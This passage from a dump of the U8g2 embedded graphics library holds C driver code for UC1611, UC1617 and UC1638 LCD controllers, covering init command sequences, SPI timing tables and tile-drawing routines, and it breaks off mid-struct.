U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1611_cg160160_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1611_cg160160_init_seq);\n\tbreak;\n      case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n\tif ( arg_int == 0 )\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_powersave0_seq);\n\telse\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_powersave1_seq);\n\tbreak;\n      case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\tif ( arg_int == 0 )\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_flip0_seq);\n\t  u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t}\n\telse\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_flip1_seq);\n\t  u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t}\t\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n\n/*================================================*/\n/* CI064-4073-06 (Intelligent Display Solutions), IDS4073*/\n/* https://docs.rs-online.com/7e6e/0900766b8156b018.pdf */\n\nstatic const uint8_t u8x8_d_uc1611_ids4073_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x02f),            \t\t\t/* internal pump control */\n  U8X8_CA(0x0f1, 0x07f),\t\t\t/* set COM end */\n  U8X8_CA(0x0f2, 0x000),\t\t/* display line start */\n  U8X8_CA(0x0f3, 127),\t\t/* display line end */\n  U8X8_C(0x0a3),            \t\t\t/* line rate */\n  U8X8_CA(0x081, 0x08f),\t\t/* set contrast */\n  \n  //U8X8_C(0x0a9),            \t\t\t/* display enable */\n\n  U8X8_C(0x0d1),            \t\t\t/* display pattern */  \n  U8X8_C(0x089),            \t\t\t/* auto increment */\n  U8X8_CA(0x0c0, 0x004),            \t/* LCD Mapping */\n  U8X8_C(0x000),\t\t                /* column low nibble */\n  U8X8_C(0x010),\t\t                /* column high nibble */  \n  U8X8_C(0x060),\t\t                /* page adr low */\n  U8X8_C(0x070),\t\t                /* page adr high */\n  \n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const u8x8_display_info_t u8x8_uc1611_256x128_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 10,\t/* uc1611 datasheet, page 60, actually 0 */\n  /* pre_chip_disable_wait_ns = */ 10,\t/* uc1611 datasheet, page 60, actually 0 */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 10, \t/* uc1611 datasheet, page 67 */\n  /* sda_setup_time_ns = */ 10,\t\t/* uc1611 datasheet, page 64, actually 0 */\n  /* sck_pulse_width_ns = */ 60,\t/* half of cycle time  */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\t/* uc1611 datasheet, page 60 */\n  /* write_pulse_width_ns = */ 80,\t/* uc1611 datasheet, page 60 */\n  /* tile_width = */ 32,\t\t/* width of 32*8=256 pixel */\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 256,\n  /* pixel_height = */ 128\n};\n\n/* UC1611s 256x128 display */\nuint8_t u8x8_d_uc1611_ids4073(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, y, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n   \n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n    \n      y = ((u8x8_tile_t *)arg_ptr)->y_pos;\n      u8x8_cad_SendCmd(u8x8, 0x060 | (y&15));\n      u8x8_cad_SendCmd(u8x8, 0x070 | (y>>4));\n    \n      do\n      {\n        c = ((u8x8_tile_t *)arg_ptr)->cnt;\n        ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n        /* SendData can not handle more than 255 bytes */\n        if ( c > 31 )\n        {\n          u8x8_cad_SendData(u8x8, 248, ptr); \t/* 31*8=248 */\n          ptr+=248;\n          c -= 31;\n        }\n        \n        u8x8_cad_SendData(u8x8, c*8, ptr); \t\n        arg_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int  );\t/* uc1611 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    \n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1611_256x128_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_uc1611_ids4073_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1611s_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n    default:\n      return 0;\t\t/* msg unknown */\n  }\n  return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_uc1617.c",
    "content": "/*\n\n  u8x8_d_uc1617.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2017, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n*/\n#include \"u8x8.h\"\n\n\n\n\n\nstatic const uint8_t u8x8_d_uc1617_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  //U8X8_C(0x0ad),            \t\t\t/* display enable BW Mode*/\n  U8X8_C(0x0af),            \t\t\t/* display enable GS Mode*/\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1617_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ac),\t\t                /* display off, enter sleep mode */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1617_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0c0),            \t/* LCD Mapping */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1617_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0c6),            \t/* LCD Mapping */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n//static uint8_t u8x8_upscale_4bit(uint8_t x) U8X8_NOINLINE;\nstatic uint8_t u8x8_upscale_4bit(uint8_t x) \n{\n\tuint8_t y = x;\n\ty |= (y << 4);\t\t// x = (x | (x << S[2])) & B[2];\n\ty &= 0x0f;\n\ty |= (y << 2);\t\t// x = (x | (x << S[1])) & B[1];\n\ty &= 0x33;\n\ty |= (y << 1);\t\t// x = (x | (x << S[0])) & B[0];\n\ty &= 0x55;\n  \n\ty |= (y << 1);\t\t// z = x | (y << 1);\n\treturn y;\n}\n\nstatic uint8_t u8x8_uc1617_tile_half_buffer[8];\n\nstatic uint8_t *u8x8_convert_tile_for_uc1617_lower4bit(uint8_t *t)\n{\n  uint8_t i;\n  uint8_t *pbuf = u8x8_uc1617_tile_half_buffer;\n\n  for( i = 0; i < 8; i++ )\n  {\n    *pbuf++ = u8x8_upscale_4bit(*t++);\n  }\n  return u8x8_uc1617_tile_half_buffer;\n}\n\nstatic uint8_t *u8x8_convert_tile_for_uc1617_upper4bit(uint8_t *t)\n{\n  uint8_t i;\n  uint8_t *pbuf = u8x8_uc1617_tile_half_buffer;\n\n  for( i = 0; i < 8; i++ )\n  {\n    *pbuf++ = u8x8_upscale_4bit((*t++)>>4);\n  }\n  return u8x8_uc1617_tile_half_buffer;\n}\n\n#ifdef NOT_USED\nstatic uint8_t *u8x8_convert_tile_for_uc1617(uint8_t *t)\n{\n  uint8_t i;\n  uint16_t r;\n  static uint8_t buf[16];\n  uint8_t *pbuf = buf;\n\n  for( i = 0; i < 8; i++ )\n  {\n    r = u8x8_upscale_byte(*t++);\n    *pbuf = r & 255;\n    r >>= 8;\n    pbuf+=8;\n    *pbuf = r;\n    pbuf-=7;\n  }\n  return buf;\n}\n#endif\n\n\nuint8_t u8x8_d_uc1617_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, y, c, a;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n\n\n      y = ((u8x8_tile_t *)arg_ptr)->y_pos;\n      y*=2;\n\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x060 | (x&15));\n      u8x8_cad_SendCmd(u8x8, 0x070 | (x>>4)); \n      u8x8_cad_SendCmd(u8x8, 0x00 | (y));\n\n#ifdef NOT_REQUIRED\n      u8x8_cad_SendCmd(u8x8, 0xf8 );\t/* disable window */\n      u8x8_cad_SendCmd(u8x8, 0xf4 );\t/* page start */\n      u8x8_cad_SendCmd(u8x8, y );\t\n      u8x8_cad_SendCmd(u8x8, 0xf5 );\t/* x start */\n      u8x8_cad_SendCmd(u8x8, x );\t\n      u8x8_cad_SendCmd(u8x8, 0xf6 );\t/* page end */\n      u8x8_cad_SendCmd(u8x8, y );\t\n      u8x8_cad_SendCmd(u8x8, 0xf7 );\t/* x end */\n      u8x8_cad_SendCmd(u8x8, 127 );\t\n      u8x8_cad_SendCmd(u8x8, 0xf9 );\t/* enable window  */\n#endif\n\n      a = arg_int;\n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tdo\n\t{\n\t  u8x8_cad_SendData(u8x8, 8, u8x8_convert_tile_for_uc1617_lower4bit(ptr));\n\t  ptr += 8;\n\t  x += 8;\n\t  c--;\n\t} while( c > 0 );\t\n\ta--;\n      } while( a > 0 );\n\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x060 | (x&15));\n      u8x8_cad_SendCmd(u8x8, 0x070 | (x>>4));    \n      u8x8_cad_SendCmd(u8x8, 0x00 | (y+1));\n      a = arg_int;\n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tdo\n\t{\n\t  u8x8_cad_SendData(u8x8, 8, u8x8_convert_tile_for_uc1617_upper4bit(ptr));\n\t  ptr += 8;\n\t  x += 8;\n\t  c--;\n\t} while( c > 0 );\t\n\ta--;\n      } while( a > 0 );\n          \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1617_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1617_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1617_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1617_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int  );\t/* uc1617 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*================================================*/\n/* JLX128128 */\n\nstatic const uint8_t u8x8_d_uc1617_jlx128128_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* reset */\n  U8X8_DLY(10),\n  \n  //U8X8_D1(0x0ff),\n  U8X8_C(0x027),            \t\t\t/* temperature compensation */\n  U8X8_C(0x02b),            \t\t\t/* panel loading: 13-18nF */\n  \n  U8X8_C(0x02f),            \t\t\t/* internal pump control */\n  U8X8_C(0x0eb),            \t\t\t/* bias=1/11 */\n  U8X8_CA(0x081, 0x028),\t\t/* set contrast */\n  //U8X8_C(0x0a9),            \t\t\t/* used in display datasheet, but cmd not described in controller datasheet */\n  \n  U8X8_CA(0x0f1, 0x07f),\t\t\t/* set COM end */\n  U8X8_CA(0x0f2, 0x000),\t\t/* display line start */\n  U8X8_CA(0x0f3, 127),\t\t\t/* display line end */\n  U8X8_C(0x0a3),            \t\t\t/* line rate */\n  \n  U8X8_C(0x0d3),            \t\t\t/* */\n  U8X8_C(0x0d7),            \t\t\t/* */\n  \n\n  //U8X8_C(0x0a5),            \t\t\t/* all pixel on */\n\n  //U8X8_C(0x0d1),            \t\t\t/* display pattern */  \n  U8X8_C(0x08b),            \t\t\t/* auto increment */\n  U8X8_C(0x0c0),            \t/* LCD Mapping */\n\n  //U8X8_C(0x0ad),            \t\t\t/* display enable BW Mode*/\n  //U8X8_C(0x0af),            \t\t\t/* display enable GS Mode*/\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_uc1617_128x128_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 10,\t/* uc1617 datasheet, page 54, actually 5 */\n  /* pre_chip_disable_wait_ns = */ 10,\t/* uc1617 datasheet, page 54, actually 5 */\n  /* reset_pulse_width_ms = */ 10, \n  /* post_reset_wait_ms = */ 20, \t/* uc1617 datasheet, page 56 */\n  /* sda_setup_time_ns = */ 24,\t\t/* uc1617 datasheet, page 54 */\n  /* sck_pulse_width_ns = */ 45,\t/* half of cycle time  uc1617 datasheet, page 54*/\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\t/* uc1617 datasheet, page 52 */\n  /* write_pulse_width_ns = */ 65,\t/* uc1617 datasheet, page 52 */\n  /* tile_width = */ 16,\t\t/* width of 16*8=128 pixel */\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 128\n};\n\nuint8_t u8x8_d_uc1617_jlx128128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_uc1617_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1617_128x128_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1617_jlx128128_init_seq);\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_uc1638.c",
    "content": "/*\n\n  u8x8_d_uc1638.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n  \n  Support for the UC1638 controller\n  \n  20 Jun 2021: \n    The u8x8_d_uc1638_192x96 is tested and works.\n    The u8x8_d_uc1638_160x128 will probably not work, there is no display to test this\n      WARNING; The u8x8_d_uc1638_160x128 also has an inverted CS signal !!!\n    Changed the SPI mode from 3 to 0, because it work nicely with mode 0\n\n  \n*/\n#include \"u8x8.h\"\n\n\n\n\n\nstatic const uint8_t u8x8_d_uc1638_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0c9, 0x0ad),\t\t                /* display on */   /* UC1638 B/W mode */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1638_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0c9, 0x0ac),\t\t                /* display off */   /* UC1638 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1638_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0c2),            \t/* LCD Mapping */    /* UC1638*/\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1638_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0c4),            \t/* LCD Mapping */    /* UC1638*/\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_uc1638_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, y, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x += u8x8->x_offset & 15;\n      x *= 8;\n\n      u8x8_cad_SendCmd(u8x8, 0x004);  /* UC1638 */\n      u8x8_cad_SendArg(u8x8, x);\n    \n      y = ((u8x8_tile_t *)arg_ptr)->y_pos;\n      y += u8x8->x_offset >> 4;\n\n      u8x8_cad_SendCmd(u8x8, 0x060 | (y&15));  /* UC1638 */\n      u8x8_cad_SendCmd(u8x8, 0x070 | (y>>4));  /* UC1638 */\n    \n    \n      u8x8_cad_SendCmd(u8x8, 0x001); /* UC1638 */\n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      do\n      {\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    /*\thandled in the calling procedure \n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1638_128x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_init_seq);\n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1638_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1638_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1638_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1638_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int  );\t/* uc1638 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n/*================================================*/\n/* uc1638 160x128 */\n\n/* values taken from uc1608 */\nstatic const u8x8_display_info_t u8x8_uc1638_160x128_display_info =\n{\n  /* chip_enable_level = */ 1,\t/* uc1638 has high active CS */\n  /* chip_disable_level = */ 0,\n  \n  /* post_chip_enable_wait_ns = */ 10,\t/* */\n  /* pre_chip_disable_wait_ns = */ 20,\t/* */\n  /* reset_pulse_width_ms = */ 5, \t/* */\n  /* post_reset_wait_ms = */ 150, \t\n  /* sda_setup_time_ns = */ 25,\t\t/* */\n  /* sck_pulse_width_ns = */ 65,\t/* */\n  /* sck_clock_hz = */ 1000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\t/*  */\n  /* write_pulse_width_ns = */ 35,\t/*  */\n  /* tile_width = */ 20,\t\t/* width of 20*8=160 pixel */\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 0,\t/* lower nibble: x offset, upper nibble: y offset */\n  /* flipmode_x_offset = */ 0,\t/* lower nibble: x offset, upper nibble: y offset */\n  /* pixel_width = */ 160,\n  /* pixel_height = */ 128\n};\n\nstatic const uint8_t u8x8_d_uc1638_160x128_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  U8X8_CA(0x0e1, 0x0e2),\t\t/* software reset */    /* UC1638*/\n  U8X8_END_TRANSFER(),             \t/* disable chip, requirement for I2C */\n  U8X8_DLY(5),\t\t\t\t\t/* 5 ms */\t\n  \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  U8X8_C(0x024),            \t\t/*\t set temp comp*/\n  U8X8_C(0x0c0),            \t\t/*\tmirror y and mirror x */  /* WAS: c2 */\n  U8X8_C(0x0a2),            \t\t/*\tline rate */\n  U8X8_C(0x0d6),            \t\t/*\tgray scale 2 */\n  U8X8_C(0x0eb),            \t\t/*\t set bias*/\n  U8X8_C(0x095),            \t\t/*\t set 1 bit per pixel, pattern 0*/\n  U8X8_C(0x089),            \t\t/*\t set auto increment, low bits are AC2 AC1 AC0 */  /* WAS 89 */\n\n\n  U8X8_CA(0x081, 0x0a0),\t\t/* set contrast */    /* UC1638*/\n  \n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_uc1638_160x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_uc1638_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1638_160x128_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1638_160x128_init_seq);\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n\n/*================================================*/\n\n/* LG192962-DW-V33, uc1638 192x96, https://github.com/olikraus/u8g2/issues/371 */\n\nstatic const u8x8_display_info_t u8x8_uc1638_192x96_display_info =\n{\n  /* chip_enable_level = */ 0,\t/* low active CS for this display */\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 10,\t/* */\n  /* pre_chip_disable_wait_ns = */ 20,\t/* */\n  /* reset_pulse_width_ms = */ 5, \t/* */\n  /* post_reset_wait_ms = */ 150, \t\n  /* sda_setup_time_ns = */ 25,\t\t/* */\n  /* sck_pulse_width_ns = */ 65,\t/* */\n  /* sck_clock_hz = */ 2000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\t/*  */\n  /* write_pulse_width_ns = */ 35,\t/*  */\n  /* tile_width = */ 24,\t\t/* width of 24*8=192 pixel */\n  /* tile_height = */ 12,\n  /* default_x_offset = */ 8*16+0,\t/* lower nibble: x offset, upper 